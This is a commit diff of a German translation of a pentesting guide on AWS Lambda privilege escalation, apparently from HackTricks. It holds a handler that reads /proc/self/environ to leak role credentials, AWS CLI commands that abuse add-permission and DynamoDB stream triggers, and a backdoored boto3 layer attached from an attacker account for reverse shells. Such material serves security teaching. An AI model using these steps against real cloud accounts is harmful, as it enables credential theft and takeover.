Translated ['src/banners/hacktricks-training.md', 'src/pentesting-ci-cd/

This commit is contained in:
Translator
2025-01-02 01:25:02 +00:00
parent c0ee8b41f2
commit ff7e659f3f
209 changed files with 1994 additions and 1989 deletions

View File

@@ -58,7 +58,7 @@ PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess'
)
return response
```
Es ist auch möglich, die Anmeldeinformationen der Rolle der Lambda zu leaken, ohne eine externe Verbindung zu benötigen. Dies wäre nützlich für **Netzwerkisolierte Lambdas**, die für interne Aufgaben verwendet werden. Wenn unbekannte Sicherheitsgruppen Ihre Reverse-Shells filtern, ermöglicht Ihnen dieses Stück Code, die Anmeldeinformationen direkt als Ausgabe der Lambda zu leaken.
Es ist auch möglich, die Anmeldeinformationen der Rolle der Lambda-Funktion zu leaken, ohne eine externe Verbindung zu benötigen. Dies wäre nützlich für **netzwerkisolierte Lambdas**, die für interne Aufgaben verwendet werden. Wenn unbekannte Sicherheitsgruppen Ihre Reverse-Shells filtern, ermöglicht Ihnen dieses Stück Code, die Anmeldeinformationen direkt als Ausgabe der Lambda-Funktion zu leaken.
```python
def handler(event, context):
sessiontoken = open('/proc/self/environ', "r").read()
@@ -75,11 +75,11 @@ cat output.txt
**Potenzielle Auswirkungen:** Direkte Privilegieneskalation auf die beliebige Lambda-Dienstrolle, die angegeben ist.
> [!CAUTION]
> Beachten Sie, dass selbst wenn es interessant aussieht, **`lambda:InvokeAsync`** **nicht** allein die **Ausführung von `aws lambda invoke-async`** ermöglicht, Sie benötigen auch `lambda:InvokeFunction`.
> Beachten Sie, dass selbst wenn es interessant aussieht, **`lambda:InvokeAsync`** **nicht** allein die **Ausführung von `aws lambda invoke-async`** erlaubt, Sie benötigen auch `lambda:InvokeFunction`.
### `iam:PassRole`, `lambda:CreateFunction`, `lambda:AddPermission`
Wie im vorherigen Szenario können Sie sich **die Berechtigung `lambda:InvokeFunction`** gewähren, wenn Sie die Berechtigung **`lambda:AddPermission`** haben.
Wie im vorherigen Szenario können Sie sich die Berechtigung **`lambda:InvokeFunction`** gewähren, wenn Sie die Berechtigung **`lambda:AddPermission`** haben.
```bash
# Check the previous exploit and use the following line to grant you the invoke permissions
aws --profile "$NON_PRIV_PROFILE_USER" lambda add-permission --function-name my_function \
@@ -99,7 +99,7 @@ aws lambda create-function --function-name my_function \
--handler lambda_function.lambda_handler \
--zip-file fileb://rev.zip
```
Wenn DynamoDB bereits in der AWS-Umgebung aktiv ist, **muss der Benutzer nur die Ereignisquellenzuordnung** für die Lambda-Funktion festlegen. Wenn DynamoDB jedoch nicht verwendet wird, muss der Benutzer **eine neue Tabelle** mit aktivierten Streams **erstellen**:
Wenn DynamoDB bereits in der AWS-Umgebung aktiv ist, muss der Benutzer nur **die Ereignisquellenzuordnung** für die Lambda-Funktion festlegen. Wenn DynamoDB jedoch nicht verwendet wird, muss der Benutzer **eine neue Tabelle** mit aktivierten Streaming erstellen:
```bash
aws dynamodb create-table --table-name my_table \
--attribute-definitions AttributeName=Test,AttributeType=S \
@@ -107,13 +107,13 @@ aws dynamodb create-table --table-name my_table \
--provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \
--stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES
```
Jetzt ist es möglich, **die Lambda-Funktion mit der DynamoDB-Tabelle zu verbinden**, indem **eine Ereignisquellenzuordnung** erstellt wird:
Jetzt ist es möglich, **die Lambda-Funktion mit der DynamoDB-Tabelle zu verbinden**, indem **eine Ereignisquellenzuordnung erstellt wird**:
```bash
aws lambda create-event-source-mapping --function-name my_function \
--event-source-arn <arn_of_dynamodb_table_stream> \
--enabled --starting-position LATEST
```
Mit der mit dem DynamoDB-Stream verknüpften Lambda-Funktion kann der Angreifer **indirekt die Lambda auslösen, indem er den DynamoDB-Stream aktiviert**. Dies kann erreicht werden, indem **ein Element** in die DynamoDB-Tabelle eingefügt wird:
Mit der mit dem DynamoDB-Stream verknüpften Lambda-Funktion kann der Angreifer **indirekt die Lambda auslösen, indem er den DynamoDB-Stream aktiviert**. Dies kann erreicht werden, indem man **ein Element** in die DynamoDB-Tabelle einfügt:
```bash
aws dynamodb put-item --table-name my_table \
--item Test={S="Random string"}
@@ -122,7 +122,7 @@ aws dynamodb put-item --table-name my_table \
### `lambda:AddPermission`
Ein Angreifer mit dieser Berechtigung kann **sich selbst (oder anderen) beliebige Berechtigungen gewähren** (dies erzeugt ressourcenbasierte Richtlinien, um den Zugriff auf die Ressource zu gewähren):
Ein Angreifer mit dieser Berechtigung kann **sich selbst (oder anderen) beliebige Berechtigungen gewähren** (dies erzeugt ressourcenbasierte Richtlinien, um Zugriff auf die Ressource zu gewähren):
```bash
# Give yourself all permissions (you could specify granular such as lambda:InvokeFunction or lambda:UpdateFunctionCode)
aws lambda add-permission --function-name <func_name> --statement-id asdasd --action '*' --principal arn:<your user arn>
@@ -130,7 +130,7 @@ aws lambda add-permission --function-name <func_name> --statement-id asdasd --ac
# Invoke the function
aws lambda invoke --function-name <func_name> /tmp/outout
```
**Potenzielle Auswirkungen:** Direkte Privilegieneskalation zum Lambda-Dienstrolle, die verwendet wird, indem die Berechtigung zum Ändern des Codes und dessen Ausführung gewährt wird.
**Potenzielle Auswirkungen:** Direkte Privilegieneskalation zum Lambda-Dienstrolle durch Gewährung der Berechtigung zur Modifikation des Codes und dessen Ausführung.
### `lambda:AddLayerVersionPermission`
@@ -144,7 +144,7 @@ aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statemen
### `lambda:UpdateFunctionCode`
Benutzer, die die Berechtigung **`lambda:UpdateFunctionCode`** besitzen, haben die Möglichkeit, **den Code einer bestehenden Lambda-Funktion, die mit einer IAM-Rolle verknüpft ist, zu ändern.**\
Der Angreifer kann **den Code der Lambda ändern, um die IAM-Anmeldeinformationen zu exfiltrieren.**
Der Angreifer kann **den Code der Lambda-Funktion ändern, um die IAM-Anmeldeinformationen zu exfiltrieren**.
Obwohl der Angreifer möglicherweise nicht die direkte Fähigkeit hat, die Funktion aufzurufen, ist es wahrscheinlich, dass die Lambda-Funktion, wenn sie bereits vorhanden und betriebsbereit ist, durch bestehende Workflows oder Ereignisse ausgelöst wird, wodurch die Ausführung des modifizierten Codes indirekt erleichtert wird.
```bash
@@ -157,7 +157,7 @@ aws lambda invoke --function-name my_function output.txt
# If not check if it's exposed in any URL or via an API gateway you could access
```
**Potenzielle Auswirkungen:** Direkte Privilegieneskalation auf die Lambda-Dienstrolle, die verwendet wird.
**Potenzielle Auswirkungen:** Direkte Privilegieneskalation auf die verwendete Lambda-Dienstrolle.
### `lambda:UpdateFunctionConfiguration`
@@ -185,7 +185,7 @@ import sys
def lambda_handler(event, context):
print(json.dumps(sys.path, indent=2))
```
Diese sind die Orte:
Dies sind die Orte:
1. /var/task
2. /opt/python/lib/python3.7/site-packages
@@ -202,7 +202,7 @@ Zum Beispiel wird die Bibliothek boto3 von `/var/runtime/boto3` geladen (4. Posi
#### Ausnutzung
Es ist möglich, die Berechtigung `lambda:UpdateFunctionConfiguration` zu missbrauchen, um **eine neue Schicht** zu einer Lambda-Funktion **hinzuzufügen**. Um beliebigen Code auszuführen, muss diese Schicht eine **Bibliothek enthalten, die die Lambda importieren wird.** Wenn Sie den Code der Lambda lesen können, könnten Sie dies leicht finden, beachten Sie auch, dass es möglich sein könnte, dass die Lambda **bereits eine Schicht verwendet** und Sie die **Schicht herunterladen** und **Ihren Code** dort hinzufügen könnten.
Es ist möglich, die Berechtigung `lambda:UpdateFunctionConfiguration` zu missbrauchen, um **eine neue Schicht** zu einer Lambda-Funktion hinzuzufügen. Um beliebigen Code auszuführen, muss diese Schicht eine **Bibliothek enthalten, die die Lambda importieren wird.** Wenn Sie den Code der Lambda lesen können, könnten Sie dies leicht finden, beachten Sie auch, dass es möglich sein könnte, dass die Lambda **bereits eine Schicht verwendet** und Sie die **Schicht herunterladen** und **Ihren Code** dort hinzufügen könnten.
Zum Beispiel, nehmen wir an, dass die Lambda die Bibliothek boto3 verwendet, dies wird eine lokale Schicht mit der letzten Version der Bibliothek erstellen:
```bash
@@ -211,7 +211,7 @@ pip3 install -t ./lambda_layer boto3
Sie können `./lambda_layer/boto3/__init__.py` öffnen und **die Hintertür im globalen Code hinzufügen** (eine Funktion zum Exfiltrieren von Anmeldeinformationen oder um beispielsweise eine Reverse-Shell zu erhalten).
Dann zippen Sie das `./lambda_layer` Verzeichnis und **laden die neue Lambda-Schicht** in Ihr eigenes Konto hoch (oder in das des Opfers, aber möglicherweise haben Sie dafür keine Berechtigungen).\
Beachten Sie, dass Sie einen Python-Ordner erstellen und die Bibliotheken dort ablegen müssen, um /opt/python/boto3 zu überschreiben. Außerdem muss die Schicht **mit der Python-Version** kompatibel sein, die von der Lambda verwendet wird, und wenn Sie sie in Ihr Konto hochladen, muss sie in der **gleichen Region** sein:
Beachten Sie, dass Sie einen Python-Ordner erstellen und die Bibliotheken dort ablegen müssen, um /opt/python/boto3 zu überschreiben. Außerdem muss die Schicht **kompatibel mit der Python-Version** sein, die von der Lambda verwendet wird, und wenn Sie sie in Ihr Konto hochladen, muss sie in der **gleichen Region** sein:
```bash
aws lambda publish-layer-version --layer-name "boto3" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6"
```
@@ -228,9 +228,9 @@ aws lambda update-function-configuration \
--layers arn:aws:lambda:<region>:<attacker-account-id>:layer:boto3:1 \
--timeout 300 #5min for rev shells
```
Der nächste Schritt wäre, entweder **die Funktion selbst aufzurufen**, wenn wir können, oder zu warten, bis sie **auf normale Weise aufgerufen wird** was die sicherere Methode ist.
Der nächste Schritt wäre, entweder **die Funktion selbst aufzurufen**, wenn wir können, oder zu warten, bis sie auf normale Weise **aufgerufen wird** was die sicherere Methode ist.
Eine **diskretere Möglichkeit, diese Schwachstelle auszunutzen**, findet sich in:
Eine **stealthier Methode, um diese Schwachstelle auszunutzen**, findet sich in:
{{#ref}}
../aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md
@@ -240,11 +240,11 @@ Eine **diskretere Möglichkeit, diese Schwachstelle auszunutzen**, findet sich i
### `iam:PassRole`, `lambda:CreateFunction`, `lambda:CreateFunctionUrlConfig`, `lambda:InvokeFunctionUrl`
Vielleicht sind Sie mit diesen Berechtigungen in der Lage, eine Funktion zu erstellen und sie über die URL auszuführen... aber ich konnte keinen Weg finden, dies zu testen, also lassen Sie es mich wissen, wenn Sie es tun!
Vielleicht kannst du mit diesen Berechtigungen eine Funktion erstellen und sie aufrufen, indem du die URL verwendest... aber ich konnte keinen Weg finden, um es zu testen, also lass es mich wissen, wenn du es tust!
### Lambda MitM
Einige Lambdas werden **sensible Informationen von den Benutzern in Parametern empfangen.** Wenn Sie RCE in einem von ihnen erhalten, können Sie die Informationen, die andere Benutzer an sie senden, exfiltrieren, überprüfen Sie es in:
Einige Lambdas werden **sensible Informationen von den Benutzern in Parametern empfangen.** Wenn du RCE in einem von ihnen erhältst, kannst du die Informationen, die andere Benutzer an sie senden, exfiltrieren, siehe dazu:
{{#ref}}
../aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md